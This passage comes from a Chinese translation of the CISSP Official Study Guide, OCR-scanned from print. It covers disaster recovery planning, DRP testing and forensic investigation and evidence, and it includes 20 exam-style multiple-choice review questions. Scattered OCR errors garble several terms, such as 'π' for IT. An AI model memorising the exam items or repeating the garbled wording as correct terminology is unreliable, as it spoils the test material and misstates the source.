从而将其作为灾难恢复计划的一部分。 在软件托管协议下， 软件开发商将应用程序源代码的副本提
供给独立的第三方组织。 然后， 第三方用安全的方式维护源代码副本备份的更新。 终端用户和开发
商之间的协议具体说明了什么是 "触发事件"， 如开发商满足服务级别协议(SLA)条款失败或开发商
的公司破产。 当触发器事件发生时， 第三方会向终端用户 发布应用程序源代码的副本。 随后 ， 终端
用户可 以通过分析源代码来解决应用程序的 问 题或实现软件 的升级 。
1 8.4.6 外部通信
在灾难恢复期间 ， 与组织外部不同的实体进行通信是很有必要的。 需要联系供应商提供供应物
资 ， 以便在需要时他们能够支持灾难恢复工作。 客户会与你联络， 从而确认仍在运营 。 负责公关的
领导可能需要联系媒体或投资公司 ， 经理可能需要与政府的管理局进行会谈。 出 于这些原因 ， 灾难
恢复计划中必须包括数量充足的与外部联络的通信渠道， 以便满足公司 的运营需求。 通常， 在灾难
期间由 CEO 作为发言人不是合理的业务实践或恢复实践。 公司应当雇用和培训媒体联络人员 ， 以
第 1 8 章 灾难恢复计划
便随时准备担负此责任。
1 8.4.7 公用设施
如本章前面所述， 组织要依靠一些公用设施来提供自 身基础设施的关键要素， 如 电力、 水、 天
然气和管道服务等。 因此， 灾难恢复计划中应该包括解决这些服务在灾难发生过程中出现问题的联
系信息和措施。
1 8.4.8 物流和供应
灾难恢复操作过程中有关物流的问题是值得关注的。 此时， 你会突然面对调拨大量人员 、 设备
和供应物资到备用恢复场所的问题。 人员可能会在那些场所内 生活很长一段时间， 并且灾难恢复团
队会负责给他们提供食物、 水、 避难所和适当的设施 。 如果这些情况恰好发生在预期操作范围之内，
那么 灾难恢复计划中就应该包括这样的条款。
1 8.4.9 恢复与还原的 比较
有些时候， 区分灾难恢复任务和灾难还原任务是很有用 的 。 在估计恢复工作要花费很长时间时，
这尤为重要。 在灾难恢复团队被指派执行和维护恢复场所工作时 ， 一支救助团队被指派还原主要场
所的运营能力 ， 这些任务分配的制订应当依据组织的 需要和灾难的类型 。
注意 :
恢复与还原是不同的概念。 在这里 ， 恢复涉及将业务操作和过程还原 至工作状态; 还原 涉及将
业务设施和环境还原 至可工作状态。
灾难恢复团 队成员可以操作的时间范围很短， 他们必须尽可能迅速地应用 DRP 和还原 π 能力 。
如果灾难恢复团 队不能在 MTD/RTO 内 还原业务过程， 那么 公司就会遭受损失。
一旦人们相信原有场所是安全的， 那么抢救团队成员就会开始工作。 他们的工作是将公司还原
至最初的全部能力， 并且在必要时还原至原始位置。 如果原始位置不再存在 ， 那么就需要为公司选
择新的地点。 抢救团队必须重构或修复 IT 基础设施。 因 为这个活动基本上与构建新的 π 系统相同 ，
所 以从可替代的恢复场所返回至最初的主要场所的活动本身具有风险。 此外， 抢救团队的工作时间
多于恢复团 队 的工作时间 。
抢救团队必须确保新的 IT 基础设施的可靠性。 通过将最小关键任务进程返回至被还原的原有场
所， 进而对重构的网络进行压力测试， 抢救团队就可以实现这个 目标。 一旦被还原的场所展现了 自
己 的恢复能力 ， 那么更重要的进程会被转移至原有场所。 关键任务进程返回原有场所时存在严重的
脆弱性。 返回原有场所的动作可能导致自身的灾难。 因此， 只 有在全部的正常操作都返回至被还原
的 原有场所后 ， 才能宣告紧急状态结束 。
在结束所有灾难恢复工作之后 ， 就需要在原有场所执行还原操作， 并且终止灾难恢复约定下的
任何处理场所操作。 DRP 应当指定能够确定何时适合返回原有场所的标准 ， 并且指导 DRP 恢复和
抢救团 队进行有序转移。
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CISSP 官方学 习指南(第 7 版)
1 8.5 培训11 、 意识与文档记录
与业务连续性计划一样， 对所有涉及灾难恢复工作的人员进行培训是十分重要的。 培训所要求
的程度根据个人在公司中 的职位和工作角色而有所不同。 当 设计培训 计划时， 应该考虑下面这些
要素:
• 对全体新员工进行定向培训11 。
• 对第一次担任新的灾难恢复角色的员 工进行基本培训 。
• 对 灾难恢复团 队的成员进行详细的复习 培训 。
• 对所有的其他员工进行简要的复习培训II(可以作为会议的一部分完成培训或通过像电子邮件
的 时事通讯这样的介质发送给所有员工)。
提示 :
活页夹为 灾难恢复计划提供了一种 良好的存储选择， 这样可以不破坏整个计划 而羊独修改一页
纸上的计划 。
灾难恢复计划还应该进行完整的文档记录。 在本章的前面， 我们讨论了几种可供使用的文档记
录方式。 一定要实现必要的文档记录程序， 并在计划发生改变后修改文档。 因为灾难恢复计划和业
务连续性计划快速改变的本质 ， 所 以可以考虑在组织的 内 部网上发布有保证的部分。
DRP 应当被视为极其敏感的文档， 并且只在有分类和 " 需知 " 的基础上提供给个人。 参与计划
的人员应当完全理解其角色， 但是不必知道或访问完整的计划 。 当然， 确保 DRP 团 队关键成员和高
级管理人员知晓整个计划和理解高级实现细节是必不可少的 。 完全不必让每位参与计划的人员都 了
解所有的内容。
警告 :
需要记住的是， 灾难可能导致内部网不可用 。 如果选择通过内部网分发灾难恢复计划和业务连
续性计划 ， 那 么一定要确保在主要场所和替代场所都保存足够数量的打印副本， 并且只保存最新的
副 本。
1 8.6 测试与维护
每一种灾难恢复计划都必须定期进行测试， 以确保计划的条款是可行的并且符合组织变化的需
要。 可以实施的测试类型依赖于能够使用的恢复设施的类型、 组织的企业文化和灾难恢复团队成员
的可用性。 本章余下的部分将讨论 5 种主要的测试类型 : 通读测试、 结构化演练、 模拟测试、 并行
测试和完全中 断测试。
1 8.6.1 通读测试
通读测试是其中一种最简单的测试， 但也是最重要的一种测试。 在这种测试类型中， 只 需向 灾
难恢复团队成员分发灾难恢复清单的副本， 并要求他们审查清单。 这样就允许同时实现下列三个
目 标:
第 1 8 章 灾难恢复计划
• 清单确保关键人员 意识到他们的职责并定期复习 知识。
• 清单为人员提供 了 审查清单中过时信息的机会， 并根据组织的变化更新需要修改的条 目 。
• 在大型组织中 ， 清单能够帮助标识这样的情况 : 重要的人员 己经离开公司 ， 并且没有人为
重新分配他们的灾难恢复职责而负责 ! 这也是为什么灾难恢复职责应该包含在工作描述中
的原因 。
1 8.6.2 结构化演练
结构化演练进一步进行了测试。 在这种经常被称为 " 桌面练习 " 的测试类型中 ， 灾难恢复团队
成员聚集在一间大会议室中 ， 不同 的人在灾难发生时扮演不同角色。 通常， 确切的灾难情景只有主
考官知道， 他在会议上向团队成员描述具体的情况。 然后， 团 队成员通过参考他们的灾难恢复计划
对特定的灾难类型进行讨论 ， 进而得出适当的响 应办法。
1 8.6.3 模拟测试
模拟测试与结构化演练、类似。 模拟测试为灾难恢复团队成员呈现情景并要求他们产生出适当的
响应措施。 与前面讨论的测试不同， 其中某些响应措施随后会被测试。 这种测试可能涉及中断非关
键 的业务活动并使用某些操作人员 。
1 8.6.4 井行测试
并行测试表示下一个层次的测试， 并涉及将实际人员重新部署到替换的恢复场所和实现场所启
用措施 。 被重新部署到该场所的员工 ， 以灾难实际发生时的方式执行他们的灾难恢复职责。 唯一的
差别在于主要设施的运营不会被中断， 这个场所仍然处理组织 的 日 常业务。
1 8.6.5 完全中 断测试
完全中断测试与并行测试的操作方式类似， 但涉及实际关闭主场所的运营井将其转移到恢复场
所。 出于很明显的原因， 完全中断测试安排起来极其困难， 并且经常会遇到来 自 管理层的阻挠。
1 8.6.6 维护
需要记住的是， 灾难恢复计划是一份灵活的文档。 随着组织需求的变化， 必须对灾难恢复计划
进行修改以符合变化的需要。 通过使用组织好的和协调一致的测试计划， 我们会发现灾难恢复计划
中 需要修改的地方。 微小的变化经常会通过一系列 的 电话交谈或电子邮件而进行， 然而重大的变化
可能需要整个灾难恢复团 队进行一次或几次会议商讨 。
灾难恢复计划编制人员应当将组织的业务连续性计划借鉴为恢复工作的模板。 这个模板和所有
支持性素材都必须遵守美国联邦的法规和反映当前的业务需求。 业务过程(如薪水和订单生成)应当
包含映射到支持性 IT 系统和基础设施的特定度量。
559
560
CISSP 官方学 习指南(第 7 版)
大多数组织都应用正式的变更管理过程， 这样在 π 基础设施发生更改时能够更新和检查所有相
关的文档， 以便反映更改。通过调度常规的消防训练和演练来确保 DRP 的所有元素都被正确地使用 ，
从而对所有职员进行培训1 1 ， 并且也是将变更集成到 日 常维护和变更管理措施中的一次极佳机会。 每
次设计、 实现和记录更改时， 都需要重复这些过程和实践。 一定要了解所有设施的位置， 并且正确
地维护 DRP 工作的所有元素， 在 出现紧急情况时， 就需要使用恢复计划 。 最后， 要确保所有职员经
过培训11 ， 从而提高现有支持人员 的技能， 并且确保新 员工尽快了 解相应的工作 。
1 8.7 本章小结
灾难恢复计划是完整的信息安全计划的关键。 无论业务连续性计划有多全面， 当业务被一场灾
难中断时， 都将面临快速而有效地恢复运营的 问题 。
在本章中 ， 你了解了不同类型的可能会影响业务的 自 然和人为灾害， 你还探索了 恢复场所的类
型和提高恢复能力 的 备份策略。
组织的灾难恢复计划是安全专业人员监管下的一份最重要的文件， 能够为在发生灾难时负责确
保操作连续性的工作人员提供保障。 在将主场所恢复到运行状态的同时， DRP 能够提供激活交替处
理场所事件的有序序列。 一旦成功地开发了 DRP， 就要培养相应的使用人才， 以确保准确记录 ， 并
定期进行检查 以确保响应人员对计划有清 晰的概念。
1 8.8 考试要点
了解可能威胁组织的常见自然灾难。 经常威胁组织的 自然灾难包括地震、 洪水、 暴风雪、 火灾、
海啸和火山爆发。
了解可能威胁组织的常见人为灾难类型。 常见的人为灾难包括爆炸、 电气火灾、 恐怖行为、 电
力中断、 其他公共设施故障 、 基础设施故障、 硬件/软件故障、 罢工、 盗窃和故意破坏。
熟悉常见的恢复设施类型。 常见的恢复设施包括冷站点 、 温站点 、 热站点、 移动站点、 服务局
以及多站点。 必须理解每种设施的优点和缺陆。
解释相互援助协议的潜在优点及其不能在当今的商业活动中普遍实现的原因。 虽然相互援助协
议仙队A)提供了相对廉价的灾难恢复替代场所， 但是由于它们无法强制实施而不能被普遍使用 。 参
与 MAA 的组织可能会 由于相同 的 灾难而被迫关闭 ， 并且 MAA 还会引 发机密性问题。
了解可以帮助数据库备份的技术。 数据库得益于三种备份技术。 电子传送用于将数据库备份传
输到远程站点 ， 作为批量传输的一部分。 远程日 志则用于更频繁的数据传输。 借助远程镜像技术，
数据库事务在实时备份站点镜像。
了解灾难恢复计划测试的 5 种类型和每种测试对正常业务运营的影响。 灾难恢复计划测试的 5
种类型是通读测试、 结构化演练、 模拟测试、 并行测试和完全中 断测试。 通读测试完全是文书工作
练习 ， 而结构化演练涉及项 目 组会议。 两者都不会影响业务运营。 模拟测试可能会使非关键的业务
停止运作。 并行测试涉及重新部署人员 ， 但不会影响 日 常运作。 完全中断测试包括关闭主要系统以
及将责任转移到恢复设施 。
1 8.9 书面实验
1 . 当企业考虑采用相 互援助协议时有哪些主要担忧 ?
2. 列出并解释 5 种类型的灾难恢复测试。
3. 解释本章讨论的三类备份策略之间 的差异。
1 8.10 复习题
1 . 什么是灾难恢复计划 的最终 目标?
A. 防止业务中 断
B. 建立临时业务运营
C. 恢复正常的业务活动
D. 最小化灾难影响
2. 下 列哪一项是人为灾难的例子?
A. 海啸
B 地震
C. 停 电
D. 雷击
第 1 8 章 灾难恢复计划
3. 根据美国联邦紧急事务管理局的统计， 美国 各州至少有地震活动的中等风险的 比例大概是
多少?
A. 20%
B. 40%
C. 60%
D. 80%
4. 下列哪一种灾难类别不受通常的商业标准或房主保险覆盖 ?
A. 地震
B. 洪水
C. 火
D. 盗窃
5. 在9. 1 1 恐怖袭击事件 以 后， 什么行业的剧烈 变化直接影响 到 DRPIBCP 活动 ?
A 旅游
B. 银行
C. 保险
D. 航空公司
6. 下面有关业务连续性计划和灾难恢复计划的描述中哪一个是不 正确的?
A. 业务连续性计划的重点是当灾难发生时保持业务功能不间 断
B. 企业可 以选择是否制定业务连续性计划或灾难恢复计划
C. 业务连续性计划弥补了 灾难恢复计划 的不是
D. 灾难恢复规划指导组织恢复主站点的正常运营
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CISSP 官方学 习指南(第 7 版)
7. " 百年一遇洪水" 对于应急准备的官员 是什么意思?
A. 最后一次袭击该区域的任何类型的洪水超过 1 00 年之久
B. 在任何一年洪水发生 的可能性在 1/100 的级别
C. 预计该区域由洪水带来的问题至少 1 00 年是安全的
D. 对该地区最后一次严重洪水袭击 己过 100 年之久
8.下列哪种数据库恢复技术之一是准确 的 、 数据库保持在备选位置的最新副本?
A. 事务记录
B. 远程 日 志
c. 电子传送
D. 远程镜像
9. 什么 灾难恢复原则能最好地保护组织避免硬件故障 ?
A 一致性
B. 效率
C. 冗余
D. 首要
10. 什么业务连续性计划技术可以帮助准备灾难恢复计划的业务单元优先任务 ?
A. 脆弱性分析
B 业务影响评估
C. 风险管理
D. 连续性规划
11. 下列哪个备选处理场所需要的激活时间最长 ?
A. 热站点
B. 移动站点
c. 冷站点
D. 温站点
12. 灾难声明 后估计激活温站点的标准时间是多长?
A. 1 小时
B. 6 小时
C. 12 小 时
D. 24 小 时
13. 下列哪一项是热站点的特征而不是温站点的特征?
A. 通信 电路
B. 工作站
C. 服务器
D 当前数据
14. 哪种数据库备份策略类型包括在远程站点维护实时的备份服务器 ?
A. 事务记录
B. 远程 日 志
C. 电子传送
D. 远程镜像
第 1 8 章 灾难恢复计划
15. 什么类型的文件能够帮助公关专家和其他需要灾难恢复工作的高度概括总结的人?
A. 执行摘要
B. 技术指南
C. 具体部 门 计划
D. 清单
1 6. 什么灾难恢复计划工具可以用来防止为所提供产品提供相应支持的重要软件公司 破产 ?
A. 差异备份
B. 业务影响评估
C. 增量备份
D. 软件托管协议
1 7. 什么类型 的备份包括所有文件 自 最近一次完整备份 以来存储修改文件的拷贝 ?
A 差异备份
B. 部分备份
C. 增量备份
D. 数据库备份
18. 什么样的备份组合策略能提供最快的备份创建时间 ?
A. 完整备份和差异备份
B. 部分备份和增量备份
C. 完整备份和增量备份
D. 增量备份和差异备份
1 9. 什么样的备份组合策略提供最快的备份还原时间?
A. 完整备份和差异备份
B. 部分备份和增量备份
C. 完整备份和增量备份
D. 增量备份和差异备份
20. 什么类型的灾难恢复计划测试在备份设施中充分评估运营， 但不转移主站点业务的主要运
营责任?
A. 结构化演练
B. 并行测试
C. 全中断测试
D. 模拟测试
563
第 1 9 .z;i二
与王
事件与 道德规范
本章中覆盖的 CISSP 考试大纲包含:
1 . 安全和风险管理
• E. 理解职业道德
E. l 实践(ISC)2 职业道德准则
E.2 支持组织的道德准则
7. 安全运营
• A 理解和支持调查
A. l 证据收集和处理(例如 ， 监管链、 采访)
A.2 报告和文档
A.3 调查技术(例如， 根本原因分析 、 事故处理)
A.4 数字取证(例如， 介质 、 网络、 软件和嵌入式设备)
• B. 理解调查取证类别 的要求
B. l 操作型调查
B.2 犯罪调查
B.3 民事调查
B.4 监管调查
B.5 电子发现(eDiscovery)
本章中 ， 我们探讨事件处理过程， 包括计算机犯罪是否己被提交的调查技术以及适当时证据的
收集技术。 本章还包括对道德 问题及信息安全从业人员 行为准则的完整讨论。
决定如何应对计算机攻击的第一步是要了解攻击是否发生或何时发生。 在选取合适的应对措施
之前， 应了解如何确定攻击正在发生或攻击己经发生。 一旦发现攻击已经发生， 下一步就是进行调
查和收集证据 ， 找出发生了什么 ， 并确定损害程度。 必须确保调查方式遵守当地的法律法规。
1 9.1 调查
所有信息安全专家迟早都会遇到需要调查的安全事件。 在很多'情况中 ， 这种调查将是简短的、
566
CISSP 官方学 习指南(第 7 版)
非正式的确定事件， 不足以严重到授权进一步的行动或执法机构的介入。 然而在一些情况中 ， 产生
的威胁或造成的破坏将足以严重到需要进行更正式的调查。 当这种情况出 现时， 调查人员必须仔细
调查， 确保执行正确的步骤。 违背正确的步骤可能会侵犯被调查者的公民权利， 并且可能导致失败
的诉讼， 甚至导致被调查者采取合法的抵抗措施 。
1 9.1.1 调查的类型
安全实践人员发现他们执行的调查有各种理由 。 一些调查涉及法律法规且调查证据必须严格遵
守法院可接受的标准 ， 还有一些调查由于必须支持 内部业务流程 ， 因 此要求更严格。
1 操作型调查
操作型调查研究涉及组织的计算基础设施 问题， 且首要 目 标为解决业务问题。 例如 ， 如果 IT
团 队在 Web 服务器上发现性能 问题， 就会执行有关确定性能问 题起因的调查。
提示 :
操作型调查可能会迅速过渡到另一种类型 的调查。 比如， 对性能问题的调查可能会发现一些可
能成为 犯罪调查的 系 统入侵证据。
操作型调查对信息收集标准是比较宽松的。 因为目标仅仅是完成内 部业务 目标， 所 以不倾向找
出证据。 因 为解决问题是首要 目 标， 所以管理员进行操作型调查时 只进行必要的分析， 得出他们的
操作结论而不需要拿出特别详细且充分的调查证据 。
除了解决操作问题， 操作型调查需要执行旨 在识别操作出现问题的根本原因分析。 执行根本原
因 分析是为了找出修复措施 ， 以 防止今后类似事件再次发生。
2 犯罪调查
犯罪调查通常由法律执行者进行， 是针对违法行为进行的调查。 犯罪调查的结果是指控犯罪和
在刑事法庭上控诉。
多数犯罪案件必须满足超越合理怀疑的证据标准。 根据这个标准， 控方必须证明被告犯罪， 凭
借事实而不是其他逻辑结论。 为此 ， 犯罪调查必须遵循非常严格的证据收集和保存过程。
3. 民事调查
民事调查通常不涉及执法， 而涉及 内部员工和外部顾问代表法律团队的工作。 他们会准备必要
的证据来解决双方之 间 的纠纷。
大多数的 民事案件不会遵循超出合理怀疑证据的标准。 相反， 它们使用较弱的证据标准。 要达
到这一标准， 只 需要证据能够说明调查结果是可信赖的 。 因此， 民事调查的证据收集标准并不像犯
罪调查要求那么严格。
4. 监管调查
政府机构在他们认为个人或企业可能违反法律时会执行监管调查。 监管机构通常会在他们认为
可能发生的地点进行调查 。 监管调查范围 比较广泛， 几乎总是 由政府工作人员执行。
第 1 9 章 事件与道德规范
5. 电子发现
在诉讼过程中 ， 任何一方有责任保留与案件相关的证据， 并在发现过程中在控诉双方之间分享
信息。 这个发现过程应用纸质档案和 电子记录及电子发现(eDiscovery)的过程促进电子信息披露的
处理。
电子发现参考模型描述了 发现的标准过程 ， 共需如下 9 步:
(1) 信息治理 确保信息系统针对将来的发现有 良好的组织。
(2) 识别 当组织相信起诉很有可能时 ， 要指 出 电子发现请求信息 的位置。
(3) 保存 确保潜在的发现信息不会受到篡改或删除。
(4) 收集 将敏感信息收集起来用 于 电子发现过程。
(5) 处理 过滤收集到 的信息并进行无关信息的 " 粗剪 "， 减少需要详细检查的信息 。
(6) 检查 检查留下的信息， 以确定哪些信息是敏感的请求并移除那些律师与客户之间保护的
任何信息。
(7) 分析 对留下来的 内 容和文档执行更深层次的检查。
(8) 产生 用 需要 分享他人的信息标准格式产生信息 。
(9) 呈现 向证人、 法院和其他当事方演示信息。
进行 eDiscovery 是一个复杂 的过程 ， 需要在 IT 专业人员和法律顾 问 之间仔细协调 。
1 9. 1 .2 证据
为 了成功地检举犯罪， 起诉律师必须提供足够的证据来证实某个人的罪行超出合理的怀疑。 接
下来， 我们将研究证据在法庭上被许可之前要满足的要求、 可 以使用的不同类型的证据 ， 以及处理
和记录证据的需求。
提示 :
NIST 的指南 把 司 法 鉴 定技术整合到 了 事 件响应(SP 800-86) 中 ， 大量资料 可 以 查 询
www.csrc.nist.gov/publications/nistpubs/800-86/SP800-86.pdf。
1 可接纳的证据
在法庭上来纳的证据有三种基本要求。 要成为可接纳的证据， 必须满足下列所有三个要求(在法
庭公开讨论之前 由 法官确定):
• 证据必须与确定事实相关。
• 证据要确 定的事实必须对本案来说是必要的(即相关的)。
• 证据必须有法定资格， 这意味着必须合法获得。 通过非法搜查获得的证据由于不具备法定
资格， 是不可接纳的 。
2. 证据的 类型
在法庭上可能使用的证据有 4 种类型: 实物证据、 文档证据、 言辞证据以及可论证的证据。 每
一种证据都有稍许不同 的额外可接纳要求。
实物证据 实物证据也被称为客观证据 ， 包括那些可能会被实际带到法庭上的物品。 在常见的
犯罪行动中 ， 这可能包括谋杀凶器、 衣物或其他有形物体。 在计算机犯罪中 ， 实物证据可能包括没
567
568
CISSP 官方学 习指南(第 7 版)
收的计算机设备， 如带有指纹的键盘或黑客计算机系统中的硬盘。 根据具体的环境， 实物证据还可
能是无可辩驳的结论性证据 ， 如 DNA。
文档证据 文档证据包括所有带到法庭上用于证明事实的书面内容。 这种证据类型也必须经过
验证。 例如， 如果律师希望将计算机 日 志作为证据 ， 那么必须将证人(即系统管理员)带到法庭上，
以证明 日 志是作为常规的商业活动收集的 ， 并且是系统实际收集的真实 日 志 。
下列两种额外的 证据规则被特别应用于文档证据:
• 最佳证据规则声明， 当文档作为法庭处理的证据时， 必须提供原始文档 。 除了规则应用的
某些例外之外， 原始证据的副本或说明(被称为次要证据)不会被接受为证据。
• 口 头证据规则声明， 当双方的协议被以书面的形式记载下来时， 书面文档被假设包含所有
协议的条款 ， 并且 口 头协议不可 以修改书面协议。
如果文档证据满足必要、 有作证能力以及关联要求， 并且还符合最佳证据和 口头证据规则 ， 那
么 就可能被法庭采纳 。
证据链
像所有类型 的证据一样， 实物证据必须在提交给法庭之前满足关联、 必要和有作证能力 的要求。
此外， 实物证据必须经过验证。 这可以通过能够实 际确认码 标唯一的证人未完成(如 "刀柄上有我名
字的那把刀 就是闯入者从我房中 的 桌子上拿起并刺 伤我的那把刀 " )。
在很多 案件中 ， 证人在法庭上唯一确认物品是不可能的 。 在这些案件中 ， 就必须建立证据链(chain
of evidence， 也被称为监管链(chain of custody))。 这涉及所有处理证据的人， 包括收集原始证据的警
员 、 处理证据的证物技术人员 以及在法庭上使用证据的律师。 对证据的位直必须从被收集的时刻到
出 现在法庭上的时刻 进行完整记录， 以确保是同 一证据。 这需要对证据进行彻底标记， 记录谁在特
定的时间接触 过这个证据 ， 以及要求接触证据 的原因。
当 标记证据以 维护监管链时 ， 标签应 当 包含下列与证据收集相 关 的信息:
• 证据 的一般性描述
• 证据收集的 时间和 日 期
• 证据收集源 自 的确 切位直
• 证据收集人员 的 名 字
• 证据收集的相关环境
处理证据的每个人都必须签署监管 日 志链， 以表明直接 负 责处理证据的 时间以及文予监管链中
的 下一个人的 时间。 监管链必须提供完整的事件序列 ， 从而说明从证据收集开始到审 问之间 的过程。
言辞证据 言辞证据十分简单， 是包括证人证词的证据 ， 证词既可 以是法庭上的 口 头证词， 也
可 以是记录存储的书面证词。 证人必须宣誓同意讲真话， 并且他们必须了 解证词的根据。 此外， 证
人必须记得证词的根据(他们可以参考书面注释或记录来协助记忆)。 证人可以提供直接证据 : 基于
自 己的直接观察来证明或驳斥某个断言的口头言辞。 大多数证人的言辞证据都被严格地限定为基于
证人的事实观察的直接证据。 不过， 如果法庭认为证人是特定领域的专家， 那就不应采用这种方法。
在这种案件中 ， 证人可 以基于其他存在的事实及其个人的专业知识来提供专家观点 。
言辞证据不得是所谓的传闻证据。 证人不可能证实其他人在法庭外告诉他的内容。 没有经过系
统管理员验证的计算机 日 志文件也可能被认为是传闻证据。
第 19 章 事件与道德规范
3 证据收集和司法取证
收集数字证据是一个复杂的过程， 并且应当只 由专业的司法技术人员进行。 计算机证据国际组
织(IOCE)概述了 指导 数字证据技术人员 的6条原则:
• 处理数字证据时 ， 必须应用所有通用 的司法和程序原则。
• 收集数字证据后 ， 不能对证据有所修改 。
• 某人有必要使用 原始数字证据时 ， 应当接受有针对性的培训11 。
• 与收集、 访问、 存储或转移数字证据有关的所有活动都应当被完整地记录和保留， 并且可
供审查。
• 在数字证据被某人掌握之后 ， 他应当对与数字证据有关的所有活动负责。
• 所有负责 收集、 访问、 存储或转移数字证据的机构都负责遵守上述原则。
进行取证时 ， 保留原来的证据也很重要。 请记住， 调查行为可能会改变正在评估的证据。 因此，
在分析数字证据时， 最好使用副本。 例如， 当对硬盘驱动器上的内容进行调查时， 制作驱动器镜像，
并将原始驱动器密封在证据袋中 ， 然后使用镜像进行调查 。
介质分析 介质分析是计算机取证分析的一个分支， 涉及存储介质中信息的识别和提取。 可能
包括:
• 磁介质(如磁盘 、 磁带)
• 光学介质(如 CD、 DVD、 蓝光光盘)
• 存储器(如内存、 固 态存储)
用于介质分析的技术可能包括从物理磁盘的未分配扇 区恢复己删除文件， 对连接到计算机系统
的存储介质 的 分析(检查加密介质设备时会有益处) ， 以及存储介质 的法医 图像的静态分析。
网络取证分析 调查人员常对发生在网络上的安全事件感兴趣。 由于网络数据的波动性， 事件
很难重建。 除非是在事件发生时有意记录， 否则事件记录并不会被保存。
因此， 网络取证分析往往取决于对事件发生的预先了解， 或使用记录网络活动的 已经存在的安
全控制 。 这些措施包括:
• 入侵检测和防御系统 日 志
• 通过流量监测系统捕获的 网络流量数据
• 事件发生过程中有意收集的数据包
• 日 志、 防火墙和其他网络安全设备
网络取证分析师的任务是收集不同来源的信息， 并将它们关联起来， 然后完成一份尽可能全面
的网络构图。
软件分析 网络取证分析师也会对软件及其活动进行检查。 在某些情况下， 当 内 部人员被怀疑
时， 网络取证分析师可能会要求对软件代码进行审查， 以寻找后门 、 逻辑炸弹或其他安全漏洞。 有
关这些主题的更多 内容， 请参见第 2 1章" 恶意代码与应用攻击 "。
在其他情况下， 网络取证分析师可能也会被要求对应用程序或数据服务器的 日志文件进行检查
并做出 解释 ， 也会寻找恶意活动， 如 SQL 注入攻击、 特权升级或其他应用手固亨攻击。 这些问题在第
2 1 章 中有所讨论。
硬件/嵌入式设备分析 最后， 网络取证分析师还要对硬件和嵌入式设备的内容进行分析。 这可
能包括对个人电脑、 智能手机、 平板电脑、 嵌入汽车/安全系统/其他设备的 电脑和其他设备的审查。
进行这些审查的分析师必须具有专业的相关知识。 这往往需要熟悉内存、 存储系统以及操作系
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CISSP 官方学 习指南(第 7 版)
统和相关设备的专家顾问。 由于软件、 硬件和存储设备之间复杂的相互交互， 硬件分析需要掌握介
质 分析和软件分析技能 。
1 9. 1 .3 调查过程
当启动计算机安全调查时， 应该首先召集一支有能力的分析师团队， 以协助调查 。 该团队应根
据组织现有的事件响应策略进行操作， 同时应给予该团队一份章程手册。 其中应清楚概述调查范围 :
调查人员 的权力、 角 色和责任; 以及调查过程中必须遵守的参与制度。 这些规则能够规定并指导调
查人员在不同阶段采取的行动 ， 比如遵守法律、 审讯犯罪嫌疑人、 收集证据 以及破坏系统访问。
1 . 请求执法
在调查中必须做出的首要决定是: 是否要请求执法机构介入。 这实际上是一个相当复杂的决定，
应当涉及资深管理官员 。 请求专家协助有很多因素。 例如， FBI 现在有一个美国 国家计算机犯罪小
组 ， 组里包括具有下列资质的人:
• 计算机科学学位
• 在业界和 学术机构有领先的工作经验
• 受过基本的和高级的商业培训
• 具 备基本的数据和通信 网络知识
• 拥有 Unix 和其他计算机操作系统的使用经验
另一方面， 还有两个主要因素可能使公司 回避请求官方的协助。 首先， 调查将更可能公开化，
并且可能给公司带来麻烦 。 其次， 执法机构一定要采取遵从第四修正案和其他合法要求的调查方式，
而如果公司 自 我实施私下调解， 则不需要这么做。
搜查证
即使很少观看美国警匪U见剧的观众也都熟 悉这样的话 "你有搜查证吗? " 美国 国 会通过的第
四修正案概述了 调查人员 在进行特定搜查之前应 当耳又得有效的搜查证以及取得搜查证时应 当 克服的
法律障碍:
"人们的人身 、 房屋、 文件和财产具有受保护而 不被不合理地搜查和获取的权利 ， 在没有获得
法律许可的情况下， 这个权利不可剥夺。 但是基于可能由誓言或批准的原 因 ， 被特别描述的场所会
被搜查 ， 人员 或物品会被逮捕或扣押。 "
这个修正案 包括下 列 重要条款， 这些条款能够指导执法人员 的活动:
· 如果存在合理的理由希望了 解个人的 隐私， 那么调查人员 在搜查个人私有物品之前必须取
得搜查证。 这个要求的例外规定有很多 ， 如个人同 意搜查、 明确的犯罪证据或威胁生命的
紧急情况迫使进行搜查。
· 只 能基于可能的动机发放搜查证。 必须存在某种罪行已发生的证据， 并且当 前考虑的搜查
会取得与该罪行相关的证据。 要求取得搜查证的 "可能动机" 标准明显弱 于要求确定有罪
的证据标准 ， 大多 数投查证只 基于调查人员 的 言辞 而 "发 出"。
· 搜查证必须指定搜查范围@ 搜查证必须 包含对搜查和扣押的合法范 围 的详 细说明 。
如果调查人员 未能遵守这些条款的一丁点儿细节 ， 那 么 他们 就会发现搜查证是无效的 ， 并且投
查结果不被认可 。 这就引 出 了 另 一 句 人们 常提到 的话 " 由 于技术上的原因， 他逃脱了惩罚 "
第 1 9 章 事件与道德规范
2. 实施调查
如果选择不请求执法机构的协助， 那么还应当试图遵守合理的调查原则， 以确保调查的准确和
公平。 记住下列 几个主要的原则十分重要:
• 永远不要对被破坏的实际系统实施调查。 将系统脱机， 进行备份， 并且使用备份进行事件
的调查。
• 永远不要试图 " 反黑 " 并对犯罪进行报复。 否则， 可能会无意中攻击无辜的第三方 ， 并且
发现 自 己会受到计算机犯罪的指控。
• 如果有疑问， 那么就请求专家的协助。 如果不希望请求执法机构的协助 ， 那么就联系一家
在计算机安全调查领域具有特殊经验的私人调查公 司 。
• 通常， 最好使用非正规的 口头会谈技术开始调查过程。 这些方法被用于收集事实和确定案
件 的实质。 当 明确的嫌疑犯被确定时， 就应当使用 审问技术对他们进行盘问。 此外， 如果
没有具体的法律建议 ， 那么最好不要涉及这个领域。 采访通常涉及开放式问题， 用于收集
信息。 审讯通常涉及封闭式提问， 考虑到具体的 目 标， 在本质上更具对抗性。 同样， 这没
有具体法律建议 ， 最好保持不变。
1 9.2 计算机犯罪的主要类别
攻击计算机系统有很多种方式， 同时对计算机系统进行攻击的动机也有很多种。 信息系统安全
从业人员通常会将计算机犯罪分为几类。 简单来说， 计算机犯罪是与计算机相关的违反法律或法规
的犯罪行为。 犯罪可能针对计算机， 或者计算机可能己经被用在实际的犯罪活动中 。 每种计算机犯
罪类型都代表了攻击的 目 的及预期结果。
任何违反了 一个或多个安全策略的个人都被认为是攻击者。 攻击者使用不 同的技术达到特殊的
目 的。 了解目标有助于分辨不同攻击类型。 需要记住的是， 犯罪就是犯罪， 计算机犯罪的动机与其
他类型的犯罪动机没有任何差别 。 唯一的不同可能是攻击者进行攻击的方法有所不同 。
计算机犯罪通常分为下面几种类型 :
• 军事和情报攻击
• 商业攻击
• 财务攻击
